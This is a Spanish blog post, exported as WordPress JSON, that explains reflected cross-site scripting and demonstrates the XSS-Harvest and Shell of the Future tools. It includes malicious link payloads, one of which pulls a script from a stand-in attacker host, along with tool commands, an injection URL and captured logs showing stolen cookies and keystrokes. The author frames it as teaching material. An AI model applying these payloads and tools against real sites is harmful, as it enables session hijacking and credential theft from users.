{"id":1244,"date":"2012-07-26T19:51:28","date_gmt":"2012-07-26T19:51:28","guid":{"rendered":"http:\/\/www.palentino.es\/blog\/?p=1244"},"modified":"2012-07-26T20:17:40","modified_gmt":"2012-07-26T20:17:40","slug":"cuidado-con-los-enlaces-ataque-xss-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/www.palentino.es\/blog\/cuidado-con-los-enlaces-ataque-xss-cross-site-scripting\/","title":{"rendered":"Usuario, cuidado con los enlaces. Ataque XSS Cross Site Scripting."},"content":{"rendered":"<p style=\"text-align: justify;\">Cross Site Scripting es el nombre que recibe una <strong>vulnerabilidad<\/strong> que afecta no tanto a los servidores como a los usuarios que navegan a p\u00e1ginas de Internet.<\/p>\n<p style=\"text-align: justify;\">La causa de la vulnerabilidad radica en la <strong>pobre verificaci\u00f3n por parte de los sitios web<\/strong> de las cadenas de entrada enviadas por los usuarios a trav\u00e9s de formularios, o directamente a trav\u00e9s del URL. Estas cadenas, en el caso de ser maliciosas, podr\u00edan llegar a contener <strong>scripts<\/strong> completos.<\/p>\n<p style=\"text-align: justify;\">Cuando esta entrada se le muestra din\u00e1micamente a un usuario dentro de una p\u00e1gina web, en caso de contener un script, \u00e9ste se ejecutar\u00e1 en el navegador del usuario dentro del contexto de seguridad de la p\u00e1gina web visitada. Como consecuencia, podr\u00e1 realizar en el ordenador del usuario todas las acciones que le sean permitidas a ese sitio web, como por ejemplo interceptar entradas del usuario v\u00edctima o leer sus cookies.<\/p>\n<p style=\"text-align: justify;\">Profundicemos en este tipo de ataque &#8230;<\/p>\n<p style=\"text-align: justify;\"><!--more--><\/p>\n<p style=\"text-align: justify;\">El mayor riesgo de este tipo de ataques es que la entrada maliciosa no la proporciona el mismo usuario que ve la p\u00e1gina, sino un <strong>atacante<\/strong>, que <strong>consigue que el script se ejecute en el navegador del usuario<\/strong>. La v\u00edctima ejecuta el c\u00f3digo de manera indirecta cuando confiadamente hace clic sobre un <strong>hiperenlace fraudulento<\/strong>, que puede estar presente en el <strong>sitio web<\/strong> del atacante, en un <strong>mensaje de correo electr\u00f3nico<\/strong> o de un grupo de noticias, o en cualquier otro lugar que no levante sospechas. Debido a que en este caso<span style=\"color: #800000;\"><strong> la v\u00edctima es el visitante del sitio web y no el propio sitio<\/strong><\/span>, este tipo de vulnerabilidades no ha recibido la atenci\u00f3n que de verdad se merece.<\/p>\n<p>Por lo tanto, el cross site scripting funciona de la siguiente manera:<\/p>\n<ol>\n<li>El usuario sigue un enlace, que incluye codificada una cadena de entrada como argumento de entrada a alg\u00fan par\u00e1metro de la p\u00e1gina del sitio web.<\/li>\n<li>El sitio web no valida (o lo hace pobremente) la entrada anterior y genera din\u00e1micamente una p\u00e1gina HTML que incluye el c\u00f3digo introducido en el hiperenlace por el atacante.<\/li>\n<li>Este c\u00f3digo se ejecuta en el navegador de la v\u00edctima, con los mismos privilegios que cualquier otro c\u00f3digo leg\u00edtimo del mismo sitio web.<\/li>\n<\/ol>\n<p>Un ejemplo de un hiperenlace malicioso tal ser\u00eda:<\/p>\n<p><span style=\"color: #333333;\"><strong>&lt;A HREF=&#8221;http:\/\/www.midireccion.com\/comentarios.asp?texto='&lt;SCRIPT&gt;C\u00f3digo Malicioso&lt;\/SCRIPT&gt;'&#8221;&gt;Informaci\u00f3n sobre agujeros&lt;\/A&gt;<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">Cuando el usuario siga el enlace, el sitio www.midireccion.com <strong>generar\u00e1 la p\u00e1gina solicitada incluyendo el script<\/strong>, que se ejecutar\u00e1 en el navegador de la v\u00edctima.<\/p>\n<p style=\"text-align: justify;\">El c\u00f3digo podr\u00eda incluso proceder de otro sitio web, ya que las vulnerabilidades de este tipo violan las pol\u00edticas de los navegadores sobre mismo origen de fuente:<\/p>\n<p><span style=\"color: #333333;\"><strong>&lt;A HREF=&#8221;http:\/\/www.midireccion.com\/comentarios.asp?texto='&lt;SCRIPT SRC=http:\/\/www.hackermalo.com\/ataque.js&gt;&lt;\/SCRIPT&gt;'&#8221;&gt;Informaci\u00f3n sobre agujeros&lt;\/A&gt;<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\" align=\"justify\">Existen diferentes herramientas que son capaces de explotar vulnerabilidades de Cross Site Scripting para robar esas sesiones del usuario. Una de ellas es la recientemente publicada\u00a0<a href=\"https:\/\/docs.google.com\/leaf?id=0B-yhjV3y1-D2ZmVlMmUxMWUtNjJhYy00Njc5LWI0M2ItZTMwMmIxMTQ0NTNh&amp;hl=en_GB\">XSS-Harverst<\/a>\u00a0que facilita enormemente realizar ataques de XSS y que intenta <strong>concienciar<\/strong> sobre el impacto real que una vulnerabilidad de este tipo puede tener en una p\u00e1gina web.<\/p>\n<p style=\"text-align: justify;\"><strong>XSS-Harvest<\/strong>\u00a0est\u00e1 escrito en lenguaje Perl y no ocupa m\u00e1s de 11 Kb. Con licencia GNU, no necesita de ning\u00fan servidor Web ni de motor de bases de datos para funcionar y, adem\u00e1s, es multi-thread o multi-hilo, lo que le permite ejecutar tareas distintas a la vez y disponer de un gran rendimiento. \u00danicamente, al estar desarrollado en Perl, necesita de un int\u00e9rprete del lenguaje independientemente de si es bajo Unix\/Linux o Windows.<\/p>\n<p>Entre las funcionalidades de\u00a0<strong>XSS-Harvest<\/strong>\u00a0destacan:<\/p>\n<p>&#8211; Los scripts de infecci\u00f3n a\u00f1aden detectores para los eventos importantes como las pulsaciones del teclado o los clicks del rat\u00f3n en la p\u00e1gina Web vulnerable y establecen la comunicaci\u00f3n con el sistema XSS-Harvest.<\/p>\n<p style=\"text-align: justify;\">&#8211; Cualquier tecla que se pulse o cualquier click del rat\u00f3n ser\u00e1 analizado y enviado, de forma secreta, al servidor XSS-Harvest.<\/p>\n<p style=\"text-align: justify;\">&#8211; De forma opcional, es posible redireccionar la p\u00e1gina Web vulnerable para mostrar otra p\u00e1gina diferente en el mismo subdominio, como, por ejemplo, un formulario de acceso.<\/p>\n<p style=\"text-align: justify;\">&#8211; Realiza un seguimiento de las v\u00edctimas a trav\u00e9s de las cookies para detectar futuras visitas a la p\u00e1gina Web.<\/p>\n<p style=\"text-align: justify;\">&#8211; Cada v\u00edctima tiene un archivo diferente con el hist\u00f3rico correspondiente que contiene todos los eventos, cookies y pulsaciones del teclado que se derivan de su visita por la p\u00e1gina. El fichero se encuentra localizado dentro de donde se ejecuta XSS-Harvest en el directorio\u00a0<em>&#8220;history&#8221;<\/em>\u00a0y con el formato loquesea.txt.<\/p>\n<p style=\"text-align: justify;\">&#8211; XSS-Harvest dispone de una consola que muestra los datos recibidos en tiempo real. &#8211; Funciona tambi\u00e9n con Internet Explorer 9 para ataques de Cross Site Scripting indirecto o reflejado, con Firefox 5, Google Chrome y con varios de los navegadores Web para dispositivos m\u00f3viles como Safari y Android.<\/p>\n<p style=\"text-align: justify;\">&#8211; Es capaz de evadir los m\u00e9todos antiXSS de los navegadores como, por ejemplo, la regulaci\u00f3n de peticiones de Internet Explorer a la misma direcci\u00f3n (URL) cuando se extraen datos de un equipo o el plugin\u00a0<a href=\"https:\/\/addons.mozilla.org\/en-US\/firefox\/addon\/noscript\/\">NoScript<\/a>\u00a0de Firefox.<\/p>\n<p>El funcionamiento, desde la l\u00ednea de comandos, es muy sencillo y presenta diversas opciones con diferentes par\u00e1metros de ejecuci\u00f3n (-l, -p y -r):<\/p>\n<div class=\"codecolorer-container text mac-classic\" style=\"overflow:auto;white-space:nowrap;width:635px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">XSS-harvest.pl -l http:\/\/web.vulnerable\/login.html<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p align=\"justify\">Lo primero es encontrar una p\u00e1gina Web que presente alguna vulnerabilidad de Cross Site Scripting. Se puede verificar que la vulnerabilidad existe insertando la sentencia<\/p>\n<p><center><img decoding=\"async\" src=\"http:\/\/farm7.static.flickr.com\/6143\/5922655741_ac19275e95_z.jpg\" alt=\"\" \/><br \/>\n<em>Fig 1. Confirmaci\u00f3n de la vulneravilidad de XSS en la p\u00e1gina de Hacktimes.com<\/em><\/center><\/p>\n<p style=\"text-align: justify;\" align=\"justify\">El puerto por defecto por el que escucha el servidor XSS-harvest es el 80 (HTTP) pero es posible definir cualquier puerto con el par\u00e1metro -p. En este caso, se define el puerto 8080 (opci\u00f3n -l de listener y -p para especificar el puerto utilizado):<\/p>\n<div class=\"codecolorer-container text mac-classic\" style=\"overflow:auto;white-space:nowrap;width:635px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">XSS-harvest.pl -l -p 8080 http:\/\/www.hacktimes.com\/login.php<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>***************************<br \/>\n* XSS-Harvest Server *<br \/>\n***************************<\/p>\n<p>[INFO] Starting Server&#8230;.<br \/>\n[INFO] History directory found.<br \/>\n2011\/07\/09-12:00:21 XSSHarvest::NetServer0 (type Net::Server::PreFork) starting! pid(11122)<br \/>\nUsing default listen value of 128<br \/>\nBinding to TCP port 8080 on host http:\/\/www.hacktimes.com\/login.php<br \/>\n&#8230;<\/p>\n<p align=\"justify\">Revisando el archivo de texto creado con el hist\u00f3rico de los eventos detectados se observan cosas como las siguientes:<\/p>\n<div class=\"codecolorer-container text mac-classic\" style=\"overflow:auto;white-space:nowrap;width:635px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/><\/div><\/td><td><div class=\"text codecolorer\">*************************************<br \/>\n[INFECTION] Sat Jul 9 12:01:11 2011<br \/>\n[IP] 192.168.1.23<br \/>\n[UID]<br \/>\n[UA] Mozilla\/50 (X11; Linux x86_32; rv:5.0) Gecko\/20100101 Firefox\/5.0<br \/>\n*************************************<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>*************************************<br \/>\n[PAGE_LOADED] Sat Jul 9 12:01:11 2011<br \/>\n[URL] http:\/\/www.hacktimes.com\/infect.html<br \/>\n[COOKIES]<br \/>\nlogin=hacktimes<br \/>\npassword=hacktimes<br \/>\n*************************************<\/p>\n<p>*************************************<br \/>\n[DATA] Sat Jul 9 12:01:11 2011<br \/>\n[CLICK RECEIVED]<br \/>\n[COORDS] 111,11<br \/>\n[TAGNAME]INPUT<br \/>\n[NAME]fname<br \/>\n*************************************<br \/>\n&#8230;<\/p>\n<p style=\"text-align: justify;\" align=\"justify\">Otra herramienta muy interesante y f\u00e1cil de utilizar es\u00a0<strong>Shell of the Future<\/strong>\u00a0o SOTF (<a href=\"http:\/\/www.andlabs.org\/tools\/sotf\/sotf.html\">http:\/\/www.andlabs.org\/tools\/sotf\/sotf.html<\/a>) de la gente de Attack and Defense Labs que funciona bajo Windows. Al arrancar el programa se obtiene la siguiente pantalla donde lanzar y configurar la aplicaci\u00f3n en modo proxy por el puerto por defecto 1337:<\/p>\n<p><center><img decoding=\"async\" src=\"http:\/\/farm7.static.flickr.com\/6150\/5922656023_9dbc9c4084.jpg\" alt=\"\" \/><br \/>\n<em>Fig 2. Inicio y configuraci\u00f3n de la aplicaci\u00f3n Shell of the Future<\/em><\/center><\/p>\n<p style=\"text-align: justify;\" align=\"justify\">Dispone de consola Web que es accesible configurando un proxy local (127.0.0.1 y el puerto 1337) en el navegador Web y cargando la siguiente direcci\u00f3n en la barra de direcciones<em>http:\/\/127.0.0.1\/sotf.console<\/em>:<\/p>\n<p><center><img decoding=\"async\" src=\"http:\/\/farm7.static.flickr.com\/6141\/5922656175_34d20ebb73_z.jpg\" alt=\"\" \/><br \/>\n<em>Fig 3. Consola de Shell of the Future<\/em><\/center><\/p>\n<p style=\"text-align: justify;\" align=\"justify\">A continuaci\u00f3n, en la p\u00e1gina vulnerable de hacktimes de antes, se inyecta el c\u00f3digo malicioso javascript que incluye la propia herramienta Shell of the Future (<em>e1.js o e2.js<\/em>). Se han incluido dos scripts, uno bastante elemental (e1.js) y otro m\u00e1s completo (e2.js) que incluye un link invisible hacia el servidor SOTF y un capturador de eventos\u00a0<em>&#8220;onmousemove&#8221;\u00a0<\/em>para controlar el cursor en todo momento:<\/p>\n<div class=\"codecolorer-container text mac-classic\" style=\"overflow:auto;white-space:nowrap;width:635px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">http:\/\/www.hacktimes.com\/login.php=&amp;lt;script src=http:\/\/127.0.0.1\/e2.js&amp;gt;&amp;lt;\/script&amp;gt;<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p align=\"justify\">La consola ha cambiado y muestra la sesi\u00f3n que se acaba de robar del usuario desprevenido que est\u00e1 visitando la p\u00e1gina vulnerable de hacktimes:<\/p>\n<p><center><img decoding=\"async\" src=\"http:\/\/farm7.static.flickr.com\/6005\/5923220632_708acfb89f_z.jpg\" alt=\"\" \/><br \/>\n<em>Fig 4. Consola de Shell of the Future donde se muestra una sesi\u00f3n de usuario robada<\/em><\/center>&nbsp;<\/p>\n<p><center><img decoding=\"async\" src=\"http:\/\/farm7.static.flickr.com\/6129\/5925381730_46f279098d_z.jpg\" alt=\"\" \/><br \/>\n<em>Fig 5. Desde la consola de SOTF se puede acceder a la sesi\u00f3n robada y se incluye un banner personalizable &#8220;Session Hijacked by&#8230;&#8221;<\/em><\/center><\/p>\n<p align=\"justify\"><strong>Shell of the Future<\/strong>\u00a0no guarda hist\u00f3ricos pero su facilidad de uso y que no precisa de instalaci\u00f3n alguna lo convierten en una aplicaci\u00f3n m\u00e1s que recomendable.<\/p>\n<p style=\"text-align: justify;\">Para finalizar, este art\u00edculo\u00a0solamente\u00a0tiene prop\u00f3sitos did\u00e1cticos. <strong>Me canso de repetir<\/strong> que <strong>es necesario conocer como funcionan,<\/strong> para prevenir, y proteger, pero nunca aplicarlo en usuarios y empresas.<strong>\u00a0Comprendo y a veces sufro en mis carnes, \u00a0el malestar ocasionado a los usuarios, por los ataques perpetrados por de individuos sin escr\u00fapulo, que no calculan ni sopesan el da\u00f1o que pueden llegar a realizar con sus acciones.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Referencias<\/strong><\/p>\n<p>Fuentes y referencias avanzadas sobre el tema en :\u00a0<strong><a href=\"http:\/\/www.hacktimes.com\/\" target=\"_blank\">http:\/\/www.hacktimes.com\/<\/a><\/strong><\/p>\n<p>Detalle de la vulnerabilidad de Cross Site Scripting en la p\u00e1gina de Wikipedia:\u00a0<a href=\"http:\/\/es.wikipedia.org\/wiki\/XSS\">http:\/\/es.wikipedia.org\/wiki\/XSS<\/a><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">\n","protected":false},"excerpt":{"rendered":"<p>Cross Site Scripting es el nombre que recibe una vulnerabilidad que afecta no tanto a los servidores como a los usuarios que navegan a p\u00e1ginas de Internet. La causa de la vulnerabilidad radica en la pobre verificaci\u00f3n por parte de los sitios web de las cadenas de entrada enviadas por los usuarios a trav\u00e9s de formularios, o directamente a trav\u00e9s del URL. Estas cadenas, en el caso de ser maliciosas, podr\u00edan llegar a contener scripts completos. Cuando esta entrada se le muestra din\u00e1micamente a un usuario dentro de una p\u00e1gina web, en caso de contener un script, \u00e9ste se ejecutar\u00e1 en el navegador del usuario dentro del contexto de seguridad de la p\u00e1gina web visitada. Como consecuencia, podr\u00e1 realizar en el ordenador del usuario todas las acciones que le sean permitidas a ese sitio web, como por ejemplo interceptar entradas del usuario v\u00edctima o leer sus cookies. Profundicemos en este tipo de ataque &#8230;<\/p>\n","protected":false},"author":1,"featured_media":1245,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[50],"tags":[673,668,136],"class_list":["post-1244","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-seguridad","tag-informatica","tag-seguridad","tag-xss"],"_links":{"self":[{"href":"https:\/\/www.palentino.es\/blog\/wp-json\/wp\/v2\/posts\/1244","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palentino.es\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palentino.es\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palentino.es\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palentino.es\/blog\/wp-json\/wp\/v2\/comments?post=1244"}],"version-history":[{"count":18,"href":"https:\/\/www.palentino.es\/blog\/wp-json\/wp\/v2\/posts\/1244\/revisions"}],"predecessor-version":[{"id":1258,"href":"https:\/\/www.palentino.es\/blog\/wp-json\/wp\/v2\/posts\/1244\/revisions\/1258"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.palentino.es\/blog\/wp-json\/wp\/v2\/media\/1245"}],"wp:attachment":[{"href":"https:\/\/www.palentino.es\/blog\/wp-json\/wp\/v2\/media?parent=1244"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palentino.es\/blog\/wp-json\/wp\/v2\/categories?post=1244"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palentino.es\/blog\/wp-json\/wp\/v2\/tags?post=1244"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}